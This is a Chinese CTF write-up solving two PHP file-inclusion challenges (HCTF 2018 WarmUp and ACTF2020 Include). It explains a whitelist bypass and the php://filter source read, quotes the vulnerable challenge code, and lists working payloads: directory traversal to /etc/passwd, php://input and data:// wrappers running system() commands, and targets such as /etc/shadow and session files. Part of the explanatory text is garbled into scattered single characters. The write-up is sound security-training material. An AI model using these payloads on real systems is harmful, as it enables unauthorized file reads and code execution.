目录包含
[HCTF 2018]WarmUp1
本题考查代码审计,具体考查白名单过滤不严格、文件包含include()
实现目录遍历
#知识点
1、文件包含函数
include() 、include_once()
require() 、require_once()
include文件不存在时抛出警告,然后继续执行;require则抛出致命错误,终止执行。
2、读取敏感文件
读取配置文件:/etc/passwd(Linux 用户信息)、/etc/shadow(密码哈希)、/etc/hosts、php.ini。
读取会话文件:/var/lib/php/sess_<session_id>(获取用户会话)。
读取日志文件:/var/log/apache2/access.log(结合日志注入攻击)。
读取代码文件:如网站源代码(index.php、config.php等)
// 漏洞
include($_GET['page']);
// Payload
?page=/etc/passwd
?page=../../../../etc/passwd # 目录遍历
// 绕过技巧:
使用多个../向上跳转目录。
URL 编码绕过:%2e%2e%2f(../的编码)。
#利用 PHP 伪协议
3、php://input:读取 POST 原始数据(条件:allow_url_include=On)
// 攻击请求
?page=php://input
<?php system('cat /etc/passwd'); ?>
4、php://filter:读取文件源码(用于代码审计)
// 读取源码并Base64编码
?page=php://filter/convert.base64-encode/resource=[文件名]
5、data://text/plain:注入 PHP 代码(条件:allow_url_include=On)
?page=data://text/plain,<?php system('id'); ?>
6、zip:///phar
//:利用压缩文件包含恶意代码
......
题目名称无有效信息,打开是一个图片,查看源代码
注释信息中有一个source.php
,给出了代码,白名单数组中还定义了一个hint.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码中class emmm
定义过滤函数checkFile(&
p
a
g
e
)
,首先使用仅包含
‘
s
o
u
r
c
e
.
p
h
p
‘
、
‘
h
i
n
t
.
p
h
p
‘
关键字的白名单数组,对传入的
‘
page),首先使用仅包含`source.php`、`hint.php`关键字的白名单数组,对传入的`
page),首先使用仅包含‘source.php‘、‘hint.php‘关键字的白名单数组,对传入的‘page参数进行一次截取第一个
?前字符串进行过滤的操作,如果传入的参数在
w
h
i
t
e
l
i
s
t
‘
中,则放行,若不是,则不予通过;然后进行一次
‘
whitelist`中,则放行,若不是,则不予通过;然后进行 一次`
whitelist‘中,则放行,若不是,则不予通过;然后进行一次‘_page = urldecode($page)`URL解码;然后再对编码后的参数进行一次截取过滤。
通过checkFile()检查后,代码引用了危险函数include()进行文件包含,存在文件包含漏洞
如何绕过?
这里只要确保传入的参数?
前是source.php
或者hint.php
就行
另外,hint.php
提示flag在ffffllllaaaagggg
中
构造payload
http://ad2dbcdc-0269-47c1-b009-4979e8d2c9aa.node5.buuoj.cn:81/?file=source.php?../ffffllllaaaagggg
不在此层,向上遍历目录(网上有师傅说可以直接遍历n个…/,可以直接遍历到最顶层)获得flag
http://ad2dbcdc-0269-47c1-b009-4979e8d2c9aa.node5.buuoj.cn:81/?file=source.php?../../../../../ffffllllaaaagggg
[ACTF2020 新生赛]Include1
本题考查php伪协议实现任意文件读取
#知识点
php:// 协议
1、php://filter用于读取源码
php://filter/[filter_name]/resource=[file_path]
2、php://input用于执行php代码
#实例
1、php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(输出经过base64编码后的源代码)
2、php://input + [POST DATA]执行php代码
http://xx.xx.xx.xx?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
<?php system("ls"); ?>
#参考
https://blog.51cto.com/u_15414689/5530906
https://segmentfault.com/a/1190000018991087#comment-area
打开题目,查看源代码、扫描目录均无有效信息。
根据题目名称以及页面链接提示,可知这题考查include()函数,该函数支持伪协议
#支持伪协议的函数还有
1、文件包含函数
include();
include_once();
require();
require_once();
2、文件操作类函数
fopen();
file();
readfile();
file_get_contents();
尝试用php://协议
读取flag.php
#构造payload
http://297bdcde-82ca-4256-8196-cdcf3b805bbb.node5.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码
[解题之外]
除了php://filter
,突发奇想试了下php://input
、data:// 协议
,看看结果。
应该是被过滤了关键字
尝试读取index.php
转码发现果然过滤了部分伪协议关键字
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
发现后台代码:
- 仅过滤了部分伪协议
- 采用字符串匹配的方式不够严谨,可以尝试编码绕过
- 没有处理文件路径,可能目录遍历
贵在尝试。